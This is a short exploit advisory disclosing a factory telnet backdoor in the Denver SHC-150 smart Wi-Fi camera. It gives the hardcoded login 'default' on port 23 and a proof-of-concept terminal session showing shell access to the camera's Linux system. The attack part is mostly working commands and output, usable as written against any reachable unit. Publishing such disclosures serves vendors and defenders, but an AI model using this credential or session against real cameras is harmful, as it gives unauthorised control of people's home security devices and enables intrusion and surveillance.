# Exploit Title: Denver Smart Wifi Camera SHC-150 - 'Telnet' Remote Code Execution (RCE) # Date: 27 July 2021 # Exploit Author: Ivan Nikolsky (enty8080) # Vendor Homepage: https://denver.eu/products/smart-home-security/denver-shc-150/c-1024/c-1243/p-3824 # Version: Denver SHC-150 (all firmware versions) # Tested on: Denver SHC-150 Backdoor was found in a Denver SHC-150 Smart Wifi Camera. Maybe other models also have this backdoor too. So, backdoor is a factory telnet credential - `default`. Just open the telnet connection with the camera on port 23 and enter `default` (yes, on these cameras, telnet service is served on port 23). After this, you'll get a Linux shell. Backdoor allows an attacker to execute commands on OS lever through telnet. PoC: ``` enty8080@Ivans-Air ~ % telnet 192.168.2.118 23 Trying 192.168.2.118... Connected to pc192-168-2-118. Escape character is '^]'. goke login: default $ ls / bin home linuxrc opt run tmp dev init media proc sbin usr etc lib mnt root sys var $ pwd /home/default $ exit Connection closed by foreign host. enty8080@Ivans-Air ~ % ```